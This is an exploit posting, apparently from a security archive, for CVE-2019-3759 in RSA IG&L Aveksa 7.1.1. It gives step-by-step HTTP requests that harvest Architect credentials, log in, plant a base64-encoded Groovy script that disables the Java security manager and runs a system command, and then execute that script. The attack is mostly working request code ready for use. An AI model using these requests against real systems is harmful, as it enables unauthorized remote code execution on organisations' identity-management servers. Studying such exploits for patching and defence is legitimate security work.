what you don't know can hurt you

RSA IG+L Aveksa 7.1.1 Remote Code Execution

RSA IG+L Aveksa 7.1.1 Remote Code Execution
Posted Jul 6, 2020
Authored by Jakub Palaczynski, Lukasz Plonka

RSA IG+L Aveksa version 7.1.1 suffers from a remote code execution vulnerability due to an authorization bypass issue.

tags | exploit, remote, code execution
advisories | CVE-2019-3759
MD5 | 7f8a7faeaf6a30052a2f2e03d4e71999

RSA IG+L Aveksa 7.1.1 Remote Code Execution

Change Mirror Download
# Exploit Title: RSA IG&L Aveksa 7.1.1 - Remote Code Execution
# Date: 2019-04-16
# Exploit Author: Jakub Palaczynski, Lukasz Plonka
# Vendor Homepage: https://www.rsa.com/
# Version: 7.1.1, prior to P02
# CVE : CVE-2019-3759

# (all vulnerable versions can be found at https://www.dell.com/support/security/pl-pl/details/DOC-106943/DSA-2019-134-RSA-Identity-Governance-and-Lifecycle-Product-Security-Update-for-Multiple-Vulnerabi)

Information:
Authenticated users can bypass authorization and get full access to Workpoint Architect module. This module gives possibility to run Groovy scripts which results in Code Execution.

1. First user needs to learn username and password for Architect (different from Aveksa login). Sample request:
https://AVEKSA_HOST/aveksa/main?Oid=193783&ReqType=GetPartial&PageID=ChangeRequestJobPageData&WFObjectID=1%3AWPDS&crID=193783&isAjax=false
search for "<IFRAME" in source of HTML and note username and password

2. Log into Architect. Sample request:
POST /aveksaWFArchitect/auth/login/ HTTP/1.1
Host: AVEKSA_HOST
User-Agent: python
wp-product-name: wp-architect
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 146
Cookie: JSESSIONID=session
Connection: close

{"user":"USERNAME","password":"PASSWORD","dsn":"WPDS","product":{"name":"wp-architect","version":"4.40.16"}}

3. Creating new script that bypasses Java Security Policy and runs "id" system command.
* "statementText" - contains base64-encoded Groovy code
* "name" (at the end) - script name that must be unique
* Save "scriptId" from the response as it is necessary for next request.
POST /aveksaWFArchitect/scripts/?refresh=true&replace=false&checkSyntax=false&saveWithRollbackVersion=false HTTP/1.1
Host: AVEKSA_HOST
User-Agent: python
wp-product-name: wp-architect
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 733
Cookie: JSESSIONID=session
Connection: close

{"statements":[{"scriptLineId":"-26:AUTOGEN","action":"insert","luDate":null,"luId":"","rowVersion":0,"sequence":1,"scriptClassId":17,"sourceName":"LOCAL","scriptId":"","name":"","validationStatus":0,"validationStatusMsg":"","statement":{"statementText":"U3lzdGVtLnNldFNlY3VyaXR5TWFuYWdlcihudWxsKTsKJ2lkJy5leGVjdXRlKCkudGV4dA==","statementJava":{"javaClass":"","ejb":false,"ejbVersion":"","jndiName":"","method":"","methodIsStatic":false,"returns":{"location":"system","name":""},"useInstance":false,"useInstanceObjectName":"","action":"insert"}}}],"scriptId":"-27:AUTOGEN","action":"insert","luDate":null,"luId":"","rowVersion":0,"name":"SCRIPTNAME","scriptTypeId":3,"validationStatus":0,"falseMsg":"","description":"","emitEvents":false,"errorText":"","saveMethod":"Architect"}

4. Running created script:
* In the response you have result of your command
PUT /aveksaWFArchitect/scripts/execute/ HTTP/1.1
Host: AVEKSA_HOST
User-Agent: python
wp-product-name: wp-architect
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 58
Cookie: JSESSIONID=session
Connection: close

{"id":"SCRIPTID_OF_CREATED_SCRIPT","newTransaction":false,"symbolTable":{}}
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    11 Files
  • 12
    Aug 12th
    11 Files
  • 13
    Aug 13th
    17 Files
  • 14
    Aug 14th
    3 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close